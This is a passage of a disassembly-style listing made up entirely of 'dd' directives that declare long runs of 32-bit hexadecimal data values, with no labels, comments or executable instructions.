		dd 336B85Dh, 0D89C68A1h, 1EA09B63h, 0B5000162h,	3D813C39h
		dd 0F0F4E6ACh, 0D3FC46h, 0E39B7C90h, 0C735ED6Eh, 0EA38FE00h
		dd 81469FD8h, 0F5CF00BFh, 0C2D44458h, 72008F84h, 919353C6h
		dd 2BA4CD7h, 13CF601Dh,	0BF600F9Dh, 9C00D058h, 0A2E0AB8Bh
		dd 1DB5713Bh, 0C07E0A5Ch, 0E8AD4BC3h, 9700DABAh, 0EF85C0ACh
		dd 848BA9h, 0E5A28DBBh,	0ADA1887Ch, 60D7571Dh, 98364440h
		dd 739AEA70h, 0A2B30395h, 2D8E7842h, 0B9B746D0h, 998FF903h
		dd 0CB1D0CF7h, 0DF26C060h, 234506D7h, 1087044Fh, 1CFA833Fh
		dd 30C03714h, 70D6F201h, 0CE740095h, 486D6238h,	0FB00F0F1h
		dd 0FE32E73Dh, 0E6C268DDh, 9EAE009Fh, 0B9B35382h, 0D07936FBh
		dd 0BEDE9400h, 0BFF9DD25h, 0EF9100FAh, 0F18743DCh, 497E4D0Ch
		dd 8E005477h, 9B21EA78h, 3367B8Bh, 903D446Ch, 50C8E370h
		dd 0EB03570Eh, 1373D9A3h, 0A0F0D34Ah, 38C7698Fh, 9480E87Dh
		dd 508EBE7Bh, 313B435Fh, 1D382D5h, 0C18176C2h, 0DEECB3B2h
		dd 0F13F0271h, 0D3470B49h, 0F4D91540h, 4BD0DB02h, 0E005B00Ch
		dd 0B499A4h, 0AA7C5280h, 0D1097F68h, 0E7D9260Eh, 0C0DC6F12h
		dd 1360BB91h, 2BC13045h, 0A043E8F0h, 2A90DA00h,	318AE4D0h
		dd 7C71004Bh, 80A75DCFh, 4D001FA6h, 0CA01EC2Dh,	30742CDh
		dd 63143184h, 46D07951h, 200732Bh, 53776DC7h, 0F0137230h
		dd 0E77B65h, 0FAA5E6B5h, 0C3BEEC90h, 7CD8AC00h,	4482B06Ah
		dd 46B40019h, 0BB304255h, 6090F6DDh, 5DC0C100h,	8C51082Fh
		dd 0C7481878h, 238EB067h, 28C8D000h, 0CD37F212h, 523400A8h
		dd 4EE5B28Fh, 0EC0057F3h, 340C5C3h, 5D7260h, 73631BFh
		dd 9A884628h, 0F04D1900h, 6E40D0E3h, 115F6012h,	0F3DED32Ch
		dd 1D00D674h, 6B441CE2h, 0A71333h, 0C4EB739Eh, 0CA4BD4FEh
		dd 0CE163D04h, 0E280A120h, 26DBB7h, 2A51A88Ch, 1561F88Eh
		dd 131CD700h, 0D125E9B6h, 0AE6400B3h, 9EFFE74Bh, 36005E8Eh
		dd 0A9AD4370h, 0ED03947h, 41D8B76Fh, 20CC38D8h,	72C9EE0Fh
		dd 91738016h, 9AA727h, 0CFE536AEh, 0BBEC2915h, 2FFD5A00h
		dd 0FB6B7F9Fh, 0E8A100F8h, 35713F2Bh, 9A007D78h, 8E8133B0h
		dd 0B5845h, 0ED11C824h,	64EE31E8h, 0D45B0201h, 1466CCE1h
		dd 8E4FE4h, 0B86BA3FBh,	47010BBAh, 0EF2DC00h, 0F8AD7F70h
		dd 89183AA7h, 921EB880h, 2472EA3Bh, 0F7ED3A01h,	58E5541Ch
		dd 0AE113ECh, 8CABC030h, 0DB050088h, 47C61290h,	7FB8BA00h
		dd 0B689F717h, 4A430010h, 110A7973h, 0E7026A4Ch, 64AEC349h
		dd 0ECCC4898h, 8FC00E35h, 60A01968h, 0A6D0C4F6h, 390B6400h
		dd 0D3AFCB96h, 0AD0C0050h, 0BAE15865h, 0D0019327h, 0AC9D43BEh
		dd 9460F31Dh, 3B94FE0Ah, 0CC483E87h, 0CC179E00h, 45AB7C1Ch
		dd 0CDE1470Eh, 770032FAh, 701D64D5h, 0B46B3E68h, 573E5E00h
		dd 0C07DB993h, 2706CB00h, 0F539DC87h, 3DF7475h,	61EDA5EFh
		dd 0E6B3E802h, 46606788h, 404E28CFh, 0EA44C747h, 3CF80039h
		dd 5BC1EF42h, 7C00FE2Ah, 20F55795h, 0CA96B73h, 42B6CFA8h
		dd 5A008E82h, 0CA56B4AEh, 13C8150h, 0C6B2A6F4h,	0E862DDD1h
		dd 0BF0F7A15h, 9DA3CCF5h, 76B32100h, 0A9943Ah, 1203CBCAh
		dd 4A963C1Dh, 6F6C6200h, 9C6BF856h, 937803A5h, 0B7CE9A9Dh
		dd 312FD1D8h, 5CAD4000h, 821913EFh, 0DCECE3h, 0F003ECC0h
		dd 0C3626DE5h, 0B6B35200h, 64490E78h, 0ECFD2E15h, 7F1F13h
		dd 52E04BCDh, 0F700CC02h, 0DDB62438h, 5CAFC57Eh, 0A8003958h
		dd 9130E606h, 88002A4Bh, 7EC0EAEEh, 7129C42h, 0ACF1D4F9h
		dd 8E3EF044h, 7703FCD9h, 97A7521Fh, 3DC1802Bh, 0CC1000ABh
		dd 0B7C42DC0h, 0AE097E5Ch, 5600B13h, 0AE00FD74h, 0FBBD0D2Eh
		dd 9207079Bh, 0E0D63EC8h, 0B0DB1312h, 0DA033BE4h, 1F0BDD6Eh
		dd 5BD7A886h, 21A70002h, 0C0AED941h, 2F001604h,	0D3263B93h
		dd 3878A6FAh, 3000B51Bh, 0CA968209h, 0F55CF7FCh, 0EEF00010h
		dd 9D2A1CCBh, 51ED0377h, 5868AFA9h, 483A8DF0h, 0BF289101h
		dd 5366176Ah, 0C90DCh, 4D75F022h, 0F5D9AE8Ch, 0A3888600h
		dd 0F3AC8BFh, 0A1FA007Ah, 982640D5h, 570AB5FFh,	0D42E91DAh
		dd 462D0B00h, 38243Fh, 39F5F1F0h, 1C2C2F34h, 0FD064179h
		dd 282378C2h, 0D8D50131h, 556DDC09h, 5C67607Ah,	0E9EBA702h
		dd 0E07F14A8h, 92629CCh, 9A2C6F59h, 80C1C007h, 8DDA3928h
		dd 1276D400h, 157A542Fh, 0A4C9010Bh, 0BF9FFA41h, 59907020h
		dd 0F98D55Dh, 60C9014Dh, 3A61E1Fh, 44415056h, 0A33E2635h
		dd 0C7FB1C58h, 604B70CAh, 0D2A52A57h, 0EFBC2401h, 0A876251Ch
		dd 75F8A4F5h, 0C26D077Eh, 0C0847CDEh, 42C9390Fh, 0B105A500h
		dd 8071A0E3h, 70342495h, 53F6006Eh, 327AD46Eh, 9263DC1Fh
		dd 7FA4CBh, 0E3690218h,	0B02C7364h, 4C5F00F5h, 97C6F843h
		dd 880EF689h, 608CE7DAh, 0D983A3BDh, 5DF33810h,	0D0339500h
		dd 6253EF49h, 388DFB00h, 9DCF8B5Fh, 34600BFDh, 88803F7Dh
		dd 2961BFEAh, 7E35E4Ch,	8A1541B3h, 64772F80h, 6AF0005h
		dd 27A907BCh, 0C043EF2h, 0EFC865F5h, 0CD7BE4C0h, 4AE00FF9h
		dd 7C80980Bh, 7EA23C32h, 0B8731C0Ah, 0AD0EF067h, 2926C008h
		dd 1E0D80D2h, 0BA35CE0Bh, 20CD5618h, 5D007042h,	0B157A7E4h
		dd 2889D697h, 74EC9F12h, 588D003Ch, 39C3E8DCh, 0BF00AE09h
		dd 6EAACC6Ch, 3D0BA14h,	0F2B1B878h, 0FE083ADh, 3318FA80h
		dd 6E28C804h, 1C583FBCh, 0E1723480h, 851A0FCAh,	6D5BB51Dh
		dd 491BDF01h, 0C4E0BF8Eh, 111E1363h, 59A08156h,	2E18E051h
		dd 0EF7E7A79h, 32968301h, 8CBED441h, 3772AE4h, 1DBBD1B9h
		dd 38C93FF9h, 20C6D819h, 35520F2Ch, 89482D00h, 1EF3810Eh
		dd 3C57BCBEh, 1284FF80h, 0E3E16D55h, 7DE93400h,	8EE613F1h
		dd 7192480Dh, 4382A0Eh,	76810380h, 1500A787h, 0F0F679C2h
		dd 3F5C79Ah, 3C7DE14Fh,	38C009EFh, 53006C61h, 6072640Eh
		dd 75E40Fh, 0E17C185Eh,	0A9D6B711h, 12820201h, 0D9B42F3Fh
		dd 7711C07Eh, 8B001B89h, 0C2BFABFAh, 0CB0F5Ah, 0B687BCFEh
		dd 0A27E4C9Eh, 49960301h, 0D9BF57C9h, 17F2BE80h, 0CF7AEBB2h
		dd 6CAE0A0h, 0D5F4E200h
		dd 0B1B7100Fh, 5BC90340h, 2312F960h, 948866D3h,	9700C056h
		dd 0B8FDFA90h, 1DE468B4h, 4033D414h, 0CE293088h, 0AE00503Ah
		dd 3C66B3E7h, 4F49BAh, 7DDDC0ACh, 78E2261Fh, 0C90480FFh
		dd 4C8AA833h, 9B2C128Fh, 0CB8103F8h, 60F8B8F0h,	863036AAh
		dd 1CBF9017h, 20F0E9A2h, 27D900CEh, 12D6A384h, 0E278F1DAh
		dd 5ABC3516h, 257A03FEh, 380175CAh, 48660FE7h, 6EA268h
		dd 0B2790D6Ah, 9001FBFh, 0E7C5931Bh, 3A832270h,	57000F34h
		dd 0DA0C7A1Ch, 0CF00DCDFh, 0D4B43DD1h, 3C8E6149h, 121FD796h
		dd 740429D3h, 0AB6FD416h, 72030500h, 0F8E3867Fh, 0FBCE81Eh
		dd 60FB659Ch, 5B4324C0h, 411E9EFDh, 0FF8FA2D1h,	0C510802Eh
		dd 0A42C5Ah, 34E5E41Dh,	3DE7D98Ah, 6B941B00h, 0A38E7212h
		dd 1DEE0025h, 0E56C895Ah, 0B2004807h, 8C994A09h, 966A2F2h
		dd 0F4C2A990h, 22C3817Dh, 0C9D4FC6Dh, 48BA07E9h, 17892A60h
		dd 0B7088150h, 0CA9C847h, 9A98317Fh, 2F3EF100h,	725C530h
		dd 0DD1D1DFBh, 4EAA1FACh, 0ECC086A7h, 266F559h,	0A535E400h
		dd 0EFD7E249h, 4075E8h,	75508125h, 0B5B9D0FCh, 1782F800h
		dd 0F435076Ch, 0E83207D3h, 30D990BFh, 0D8FA81DCh, 948DC601h
		dd 33B16997h, 0FE539620h, 98B66032h, 0EBFA2576h, 38D7F31Ch
		dd 702924C4h, 0E2A964C0h, 0B4900193h, 0FDDC52DEh, 985EDCE1h
		dd 69006278h, 0EAD6EBDAh, 1DF06E4Ch, 4024038Dh,	31DDC887h
		dd 1500FA6Bh, 0A118A82Dh, 5FB04h, 96D31393h, 0CE781CB9h
		dd 0E900EC72h, 0E8DA55F5h, 1F1ECBh, 0B206431Bh,	0E3048B8Dh
		dd 0C7622307h, 85308C8Fh, 0B72C387h, 60867095h,	9C89B200h
		dd 1E01E9B6h, 0B20346E4h, 19C831B8h, 356F0280h,	10CE4B5Ch
		dd 37252440h, 880040F8h, 9163C906h, 1653AE2Ch, 0F06DB7DEh
		dd 6A046B78h, 0F0076225h, 95FA3C80h, 0C45D00D0h, 3BBF5E7h
		dd 44399FBCh, 37C700C8h, 0C0CE49A1h, 2D903Ch, 529C76FFh
		dd 4F2B9A30h, 0CA8C7B00h, 0C9C8F10Dh, 60260008h, 0A93645B3h
		dd 400A2D9h, 812138E8h,	166F34Fh, 33E4B29Eh, 9F4D03BFh
		dd 54076B80h, 0B690FBDDh, 0ABAA3Fh, 6047F12Fh, 5C3EA110h
		dd 0C7165E09h, 4876015Bh, 0C6F75017h, 9756006Ch, 992CFCEAh
		dd 0C477E3CEh, 0E5001E75h, 0CF75A576h, 0EE0346Fh, 6403C3ADh
		dd 87090E20h, 8C90049Ah, 0A120D260h, 5007997Eh,	393B825h
		dd 85B7D18h, 6E86828h, 0C4180A35h, 0EC78538Eh, 21F800DBh
		dd 0EA39F6D3h, 9400CC1Ch, 34E7C23Ah, 8F7FDEh, 8017F0D0h
		dd 4568F630h, 0B6DC7909h, 0D1F003E7h, 80EAB294h, 0C5BF7ABCh
		dd 0C62B0141h, 0A7632569h, 8BE3FC8Dh, 7CB48700h, 96E7EDD3h
		dd 4C7A23h, 6F7F5B0h, 7DE28CE6h, 0EB0011E2h, 42911A40h
		dd 15A6D53h, 2320DE7Ch,	0EAD91573h, 1CB88Fh, 413A585h
		dd 7903D362h, 74953D2Bh, 4F568877h, 0D2025C01h,	54A4CE00h
		dd 4C5F117h, 6AA5900Bh,	87738063h, 69615Eh, 2817B20Fh
		dd 72948B70h, 0A593DB00h, 44C37B6Bh, 0D5C400E0h, 31953038h
		dd 8E00BCEAh, 0CB799EF8h, 0F6C0EDC3h, 2AD100ACh, 0B892A60Eh
		dd 46003D3Ch, 409AF571h, 5A65E3h, 67CE934Ch, 1086880Eh
		dd 0BF710600h, 0C93EBCDDh, 42F5003Fh, 39AB805Ch, 0BBFC4F1Eh
		dd 7069500h, 5192EBE7h,	32270708h, 0A14D1430h, 0C47B7EB5h
		dd 0D006C8Bh, 0C4C1E13Bh, 13FE6Fh, 0BCADDDEFh, 64668611h
		dd 3E87063Fh, 0D89E8010h, 0ED5C5AC1h, 8E600EDAh, 0A48719B6h
		dd 0FED9E0F0h, 1F00535Fh, 850A8BFBh, 0D68DEEh, 56E12843h
		dd 48D05E9Ch, 0CD923900h, 0F49B4615h, 5E61324h,	0DB421407h
		dd 56717400h, 85BE8491h, 8E00AF78h, 0EB14A1E6h,	39DC83C2h
		dd 0B980570Fh, 214FB16Fh, 410095DFh, 0CFCB9971h, 0E8318E6Dh
		dd 0F6860562h, 0C004B82Fh, 19DAC3A7h, 6658F700h, 8E4E9ED1h
		dd 0B5E006h, 0C553392Bh, 84D372E8h, 8E7C58h, 0BEF4CD88h
		dd 0AA3CA7h, 98E6C3Fh, 4684AFE6h, 0F7995307h, 0E0973E40h
		dd 4EDC2061h, 0E1D5E020h, 78309AF5h, 77B1004Bh,	50BE3CDFh
		dd 0BB605987h, 8654E510h, 0FA043CD2h, 7AF85A8Bh, 3AE0B401h
		dd 43A8E859h, 9DAB473Dh, 4540087Bh, 2433645Fh, 86780EA7h
		dd 70A0C214h, 0C5E1B76Ch, 2B5D4600h, 42497B9Fh,	0F18C006Fh
		dd 2F7C6DF9h, 34077586h, 0A3B05AB1h, 4F4E5D20h,	98E901C8h
		dd 0F40114C0h, 11D43092h, 78ECCC00h, 0CF2F6F59h, 9FC200C4h
		dd 503C77EAh, 28004B7Ah, 1AD36320h, 193440h, 0D21F8002h
		dd 0A69A16Ch, 0AFEC5307h, 3E30F135h, 4E662Bh, 9DE878E1h
		dd 0D7466D3Ah, 911FF5F8h, 0E780DD6Eh, 0DFEC22DBh, 67B70079h
		dd 13CFB454h, 8120976h,	1B00121Bh, 0F7D75EC7h, 5C7F1F7Eh
		dd 8E5903ECh, 1AE0BDA9h, 0F60033FFh, 0A83416EBh, 1527638h
		dd 42ACFEEEh, 0D896A62Ah, 0DE0084A9h, 29F2CF5Eh, 3C38B80Eh
		dd 7C8004D8h, 7F75A3F9h, 0BB170BCCh, 2300A53Dh,	0CB5FE3B0h
		dd 7CD84848h, 7BC44A00h, 1C4BC921h, 0D23CAB07h,	0DDD0460Dh
		dd 25A142h, 52BE0B49h, 18069C5Eh, 94328400h, 0EBD6E614h
		dd 38360015h, 29D7F98Bh, 300F3FFAh, 0E3ED1F0Eh,	0B0EBC0C3h
		dd 5CAB72h, 0E59F61DBh,	0BB7A4D65h, 369ECE00h, 6849450Bh
		dd 3F1A003Bh, 0B68106ABh, 0B37F2D40h, 0E8CDF400h, 5C90E965h
		dd 0E6870020h, 0D2ADF79Eh, 0C90E08DCh, 80674F73h, 0B582BE89h
		dd 9EF303BAh, 4C2D0271h, 0E97AF9C8h, 1A233Fh, 3B76C2B2h
		dd 372644Fh, 9E019291h,	88002AA6h, 83300596h, 78FCCC49h
		dd 0DD7D0508h, 82B548F5h, 62405C25h, 0A400E256h, 0F9582CD2h
		dd 13314Bh, 0C2DE5749h,	0AAE81EDFh, 600D3Fh, 78BBEFBDh
		dd 0F3F95D2h, 0A8150172h, 52AB660h, 0F3A6E73h, 0E94580A7h
		dd 9250794Eh, 7541BF7Ch, 18C4038h, 0F874C2B9h, 0D0035677h
		dd 0AB10E3A0h, 2FF4F8D2h, 90A6015Bh, 37353699h,	9508C4ECh
		dd 73725906h, 587F17h, 0A1E1D601h, 1098450Ah, 5C437C05h
		dd 0E9C0769Ch, 0A0D9C318h, 0A07BC610h, 2B6071Ch, 0D53D3ABDh
		dd 1960DF5Ch, 650390A1h, 8C979E6Bh, 44E9A818h, 0F587C61h
		dd 5DF56D62h, 4950BAA3h, 0C89C37A0h, 0F4566301h, 0E6591336h
		dd 0C9F560h, 2DF07311h,	0FF14251Fh, 97532803h, 0F84B21BCh
		dd 1F39423Eh, 0C05A7FE6h, 2A8B6881h, 0A2001001h, 710FD122h
		dd 2C1E69Ch, 0D23196E5h, 0B263FD3Dh, 0D71BDAF0h, 2DA35501h
		dd 4CA8B142h, 708607DCh, 4EEA05B5h, 0C0812E7Fh,	0DC164561h
		dd 0B1E72000h, 0E4857C7h, 0B07F1453h, 8840BEC8h, 438A3FB4h
		dd 99CF4B0Ah, 0DEB580CCh, 414725ABh, 6631BD1Eh,	751F80F0h
		dd 0C2711CA9h, 0E7F2C080h, 426E0BD0h, 22001E76h, 531BCBF3h
		dd 41DD99Ah, 66B66793h,	685080EEh, 34005A07h, 0CC730D2Ch
		dd 7D6C7DCh, 1F594252h,	80D5F0F8h, 6016B35h, 7F1CBC5Ah
		dd 80CA0BB4h, 0CD3661DCh, 0EE550018h, 0D7E9BE42h, 5E790C96h
		dd 0A9C9F3Ch, 800E7011h, 46651900h, 3BFB08C7h, 6000220Dh
		dd 0F4A8E967h, 6E00BE6Bh, 48F78BC3h, 0DF7C975Fh, 6C52C060h
		dd 7F3CC866h, 2B8A2002h, 0E0F12C60h, 0EE40FE0Dh, 2E745CCCh
		dd 0D753007Ch, 4DE9DD7Ch, 0CF009A16h, 21E6FB58h, 0F48542Ah
		dd 7E39C6Ah, 44497D60h,	9207B5B8h, 576286C2h, 81322600h
		dd 0A1140043h, 508390E6h, 0FD0F68D6h, 40855478h, 383CFACBh
		dd 300A605Ch, 4B10BBF9h, 98D2791Ch, 0DEE73FC0h,	38049F02h
		dd 3880713Ch, 256AE3E5h
		dd 7E0F4F65h, 0A761A5D6h, 0B2C0DF14h, 0E96067h,	3E27D0F7h
		dd 6BB8C2D4h, 14004F7Fh, 0E50E0DFDh, 0A0EF30h, 0DDF9E31Bh
		dd 0C8BBE83Dh, 5E24980Ah, 3203FA6Ah, 0C067D912h, 0F02386F1h
		dd 0F8700EAh, 0AFBE7238h, 8EE653E5h, 0E204ED00h, 0F5A8BC83h
		dd 9E020078h, 1FF891FFh, 0C60026D9h, 0E60C16DEh, 58A89Fh
		dd 5585A4B3h, 2575E17Fh, 72D7EB01h, 4CE7ED98h, 0A8519E30h
		dd 0FDEA9Ch, 0F9BA168Fh, 0D9147950h, 0CE48EE0Fh, 32F7609Ah
		dd 396FD7h, 3D778F66h, 6C8928DFh, 4C922A00h, 0E4E1F91h
		dd 766D0041h, 0A5A67403h, 973A9005h, 65DF8031h,	356AFECDh
		dd 55274C13h, 4A51E900h, 1BD1ED36h, 24E46000h, 0F257C47Eh
		dd 96E459h, 0B7C6A1DFh,	0B65F88C0h, 200FBB00h, 241961EEh
		dd 77810279h, 0A5E9B7C5h, 140EE40h, 0C120DA52h,	1481C8F8h
		dd 4B3EAC08h, 3B515CBAh, 44B8009Bh, 0B95EDF04h,	0CE2B039Fh
		dd 1EA0491Ch, 18AEC983h, 4C70C000h, 200E6DCDh, 0AD1600E1h
		dd 0D5A25BF3h, 0FF001F1Eh, 0FE3F9463h, 12D570Ch, 7D512FA0h
		dd 0D436DE29h, 2A30B1F2h, 814EA05Ch, 3AFD1E21h,	6A3880B8h
		dd 972ECA63h, 0F63E6706h, 2856BBh, 0A5F71558h, 13CC1770h
		dd 0FD22B701h, 0A6725B6Ah, 77527880h, 163B6B02h, 1874A58h
		dd 0B92BFA08h, 0BEC1284Ch, 9AFEB880h, 0E1274A53h, 6DFCB100h
		dd 806E7745h, 98D3053Eh, 30FD3299h, 0D22ABF80h,	601F9723h
		dd 8B941DACh, 2AC3F300h, 3812DAE6h, 6FF2074Bh, 60EC8E22h
		dd 88059436h, 0D2BEDE1Dh, 0AA274D00h, 0E50F31Bh, 0CDE82977h
		dd 891EE220h, 6C00A0FBh, 0D57FE1Ah, 546102Eh, 0C0D65C59h
		dd 0F44C3C2h, 24401392h, 0A70F62DAh, 0F4ED9569h, 701A020h
		dd 751F8647h, 0F0005BB0h, 704EF826h, 63E63AA9h,	14043601h
		dd 0C790F252h, 0DA5D61E1h, 0ADE7BB60h, 0F781D8A0h, 0AAF62726h
		dd 0E677E03h, 38749816h, 9B513F30h, 4AA48A8Fh, 39657DA0h
		dd 300626Bh, 5BB859F8h,	842B43h, 75AC8AD6h, 0BB3E8608h
		dd 830EA500h, 7A775F5Dh, 0B5200DAh, 0CC4FFBF0h,	177731ADh
		dd 26A66803h, 88D7B508h, 7CE6F387h, 7F653069h, 39C79891h
		dd 0A25B51Eh, 8006A12h,	890FEF66h, 93B0082h, 9DAE9A3Ah
		dd 34000E06h, 5E4513E3h, 84C154h, 0FBF9FC4Dh, 37A8EB59h
		dd 6D841C50h, 8FFEB700h, 0DE8A2921h, 2F4F44Dh, 9954FA65h
		dd 5460BC9Dh, 20003FBAh, 0F871C42Dh, 79DE43CCh,	8730363h
		dd 83B5388Dh, 4647CBC8h, 2176B000h, 516EA625h, 0A8AB6116h
		dd 2023EA4Dh, 8B00B58Ch, 0A7C5CDC8h, 0ED7482h, 7514936Fh
		dd 0B34DF62Dh, 0AE716900h, 0E47B8619h, 906248A2h, 0BCA02E00h
		dd 0E0F9D010h, 97CCA81Fh, 23C3CF00h, 0EBD04D2h,	0DA036B46h
		dd 19E63D80h, 0E230EFADh, 40472042h, 2DFE9Bh, 0E826DF54h
		dd 0A39DD08h, 0B1747D00h, 0B04895C0h, 3034660Dh, 0F8978A22h
		dd 0C6C50089h, 79830C8Ch, 0A8F85438h, 6CBF5F05h, 0FCC18AF0h
		dd 91D0E005h, 6170746h,	7D18Fh,	681AE9E2h, 78D23603h, 0F3D40B2Dh
		dd 0B69DC8DBh, 77C0DAAh, 0D470BE6Ch, 9876FA32h,	0FFFCB7FEh
		dd 65C64000h, 8E7A1F73h, 1D9CF449h, 3CE96A9Ah, 5116D10Eh
		dd 56682260h, 8A003CA1h, 6458CB71h, 3BEE4C0Bh, 0B700A27Bh
		dd 0E3836A29h, 550BCDE6h, 48E811h, 36D31D52h, 0A8A0CF2Bh
		dd 0BA79E9E0h, 0E758A734h, 3F00731Ch, 8E3117BFh, 30F2D2EAh
		dd 9D70D44Fh, 38DD19F5h, 0B38FBC05h, 61CB90Fh, 181873F1h
		dd 0D8BFC5CAh, 0CF0BAB37h, 809420D7h, 355ED55Ch, 282160EAh
		dd 3796B9E9h, 4E22CF00h, 305644AAh, 8DDD0390h, 0EF90921h
		dd 726A66A0h, 71CFEB03h, 80B44523h, 594D1Fh, 0EE7CC674h
		dd 0C99CC78Eh, 651EF900h, 51D9E969h, 84550006h,	0D78D863Fh
		dd 0D006B4Eh, 0DAEA7BB2h, 3D32B9A4h, 9B001D5Ch,	451BCEBh
		dd 7100C6E3h, 74CD030Eh, 3B16564h, 0A4DDCFDBh, 30080BD9h
		dd 0C0E588EDh, 77F206EAh, 79024C46h, 4E0872F9h,	0F3A52C90h
		dd 99076F46h, 97D9A372h, 0D5DA47E3h, 601C36FDh,	529F3204h
		dd 3920C498h, 0BC0EB80Eh, 8ABA2AF1h, 0ED506411h, 7C38A6EFh
		dd 1D520C59h, 0D1387FCDh, 10680257h, 0B68169A2h, 59F9A4D9h
		dd 0D160BC7Ch, 19140894h, 1E868A00h, 0A825F8ADh, 12FD397Bh
		dd 0C29CFB29h, 34986DE2h, 5F2982B9h, 706C84D8h,	72A0476Dh
		dd 8A391D3Ah, 9C730631h, 0A66C4250h, 0F5790730h, 0F42D1E0Bh
		dd 23FD2873h, 991F6F15h, 11D86601h, 9841B968h, 0B4D2DEF2h
		dd 0A442E0D4h, 3D390220h, 3E71D860h, 0CA51B881h, 2C04254h
		dd 2511A896h, 59837A16h, 0D1A83A42h, 91F231E0h,	8A48336Eh
		dd 0FB01B0FAh, 0AD1D56B6h, 9208484Ah, 91804C7Ah, 0C2F850E1h
		dd 31D8296Bh, 0CC7CCA80h, 1D201831h, 0CC835066h, 0D08C54F1h
		dd 1F21005Eh, 1E2327EDh, 18C7FF6Dh, 90EA59D1h, 7894F814h
		dd 0A820620Dh, 981E703Bh, 0E8B87162h, 0D5CDD081h, 9BE42038h
		dd 1B11A0A0h, 8D205C90h, 0DF6DF845h, 7D8ED258h,	0D859807Ch
		dd 0CED74285h, 0FDA8DEFAh, 0A6DC062h, 0A0B0A047h, 8C4C6C2Ah
		dd 44FA7803h, 14BC4EA6h, 0E4BF5148h, 0D33B95B0h, 1CA0677Ch
		dd 23038C98h, 518E375h,	0B88DD26Fh, 9267B238h, 383880F4h
		dd 0D932240Eh, 0F6CB58D4h, 0C7BF918h, 120F6211h, 0FC28E30h
		dd 83E019F4h, 8BA3BBFDh, 263CC890h, 0C0C452D5h,	2EE94250h
		dd 86170012h, 1B9E8CB9h, 0D100FE7Ah, 0CFFB71C1h, 14391BBh
		dd 0F8317440h, 0D0F9D9C7h, 47BF601h, 0BA0314A6h, 0E0069F85h
		dd 0AC99D003h, 84F62BB9h, 7D803C28h, 0C93D3A02h, 906B9D9h
		dd 12E4F604h, 64A41408h, 458118D7h, 103FC2B1h, 316259h
		dd 0AFE264F6h, 0C5619A11h, 91032B1Ch, 4D402029h, 6004D429h
		dd 107998EDh, 1B30EF5Eh, 0F05841F8h, 97C33F2Bh,	94806CD2h
		dd 6A03A2C2h, 1900097Ah, 5BEFC62Ah, 42755FF9h, 0DE42006Eh
		dd 9C1C1BF6h, 14380118h, 719BEFC3h, 18B0A32Ch, 4ADD7207h
		dd 0D3047643h, 8087FFD9h, 813E41DEh, 0A04F539Bh, 97E1AE00h
		dd 189DFA76h, 257CF800h, 89E45B8Fh, 0FDEE2990h,	1406BE18h
		dd 98178120h, 60A09837h, 0D8C074FAh, 61983CD4h,	7CB8281Eh
		dd 0BC1048D2h, 0D7934A00h, 581839FFh, 80DE3FCDh, 0BB0828B1h
		dd 0A3BC5C71h, 105A853Bh, 0C3330216h, 5EBADB28h, 36B684B0h
		dd 0D288607h, 17111838h, 505C80DBh, 0AF25159Eh,	3902989Ch
		dd 0DA1BA3A8h, 7C6028B0h, 0F972FAh, 58A9BD8h, 0CF572E90h
		dd 882DC39Eh, 857F6EC1h, 0B8F0FA40h, 20CFC09h, 9877242Ch
		dd 24C31F3Ch, 8A00082Dh, 0A050F9h, 9660AF3Bh, 0F0A0B5CEh
		dd 0BA50C784h, 2BE875F4h, 0A044A348h, 14850A06h, 0C4A47C7Eh
		dd 809C2F1Ah, 4CC07433h, 29C085CCh, 93C689B8h, 0E0DB0A8Eh
		dd 0C050232Eh, 1DB56815h, 58DC0450h, 0A4345F00h, 557FD0F1h
		dd 44725389h, 0B69D3A02h, 0A4834839h, 307C6579h, 12F28F08h
		dd 866B5001h, 73F0EE1Bh, 0BE9A8B90h, 82C80930h,	3814F1A7h
		dd 62C43C02h, 40A37E1Eh, 91BAB884h, 0D3B4C0ACh,	684048A3h
		dd 0C43B1FD9h, 0BF4047ECh, 0C64F73EFh, 0A4949BC2h, 987BB005h
		dd 0C8406F1Ch, 432B17AAh, 0D908DCA3h, 2769117Eh, 0C38F0160h
		dd 0A9136C37h, 0F5C6C040h, 71ED0163h, 245B82ABh, 356DE0DBh
		dd 9B018678h, 4D62C5FFh, 189EDC8Dh, 0EE7880F1h,	5A11ADABh
		dd 2543E891h, 0F4D48BB3h, 94A093h, 6EEA9B58h, 78CC8D63h
		dd 96062DE8h
		dd 0B1F1A555h, 93EC0009h, 46E23B83h, 0AC285B81h, 0C831AC8Ah
		dd 0F3EA78F9h, 0C65FADD0h, 90B9CDA0h, 20A9DDF1h, 0C674A4A8h
		dd 0BD9F3B1Dh, 4BB5B180h, 607951A5h, 1136181Ah,	0A024BBD5h
		dd 821398CEh, 14E42C09h, 2A33B09Ch, 14AC115Fh, 90F65859h
		dd 8DF8E18h, 8301C9B9h,	0A427BCBBh, 0A8BA9F31h,	2D90B533h
		dd 0D02E40FBh, 8D147D96h, 0B812A0DCh, 65E324EAh, 0B863953Ch
		dd 0C085E014h, 0C19D8C07h, 6CCFAD1h, 484E778Dh,	8281CE00h
		dd 0C1A8BD7Bh, 688F69F1h, 8902AB00h, 0AA64FBAEh, 0CC945AD8h
		dd 1321FC28h, 5CD0CD9Fh, 0D85A5998h, 0F480C68Dh, 0A42F211Bh
		dd 0B86B1128h, 53A60D05h, 60602D60h, 24944120h,	946C5992h
		dd 1B18F051h, 0E74DC832h, 0CBAD40C5h, 0B701981Eh, 120E78A1h
		dd 35DB6887h, 0FD4E819Ah, 16BBE087h, 2B6E10C2h,	0CD7860F5h
		dd 4CE0C49Eh, 65B082FEh, 0A9518880h, 0FB008289h, 0EAA7AC9h
		dd 1C62EBE0h, 8CC7AD2Dh, 0BB609AEEh, 28846731h,	0AEF9BD21h
		dd 18AA79F8h, 0E028CF6Eh, 9518735Eh, 0D110C3FBh, 70DB809Fh
		dd 1DA07D62h, 2758407Eh, 2483745Ch, 144C5E79h, 0B10C84AEh
		dd 78105DE0h, 0E691B0A0h, 30B0D163h, 0B5501820h, 276D0822h
		dd 78B9E383h, 62A23A88h, 1ECBC9Dh, 757A500Dh, 30D6C92Eh
		dd 0BB749F54h, 40805136h, 7118C5F0h, 0B18003D0h, 830D315h
		dd 0BD51B875h, 0AE90A3C9h, 8A31E928h, 0CD3D0880h, 0C3D231C1h
		dd 89605490h, 0F6FF1140h, 4C5B1980h, 47E8E885h,	3BA82C0h
		dd 0F8829843h, 1F9EA440h, 634BC4A0h, 0F06140CAh, 1836EB8Dh
		dd 6081D6EDh, 0DB814A99h, 91B88FBFh, 7B80C029h,	0ECD2E7C0h
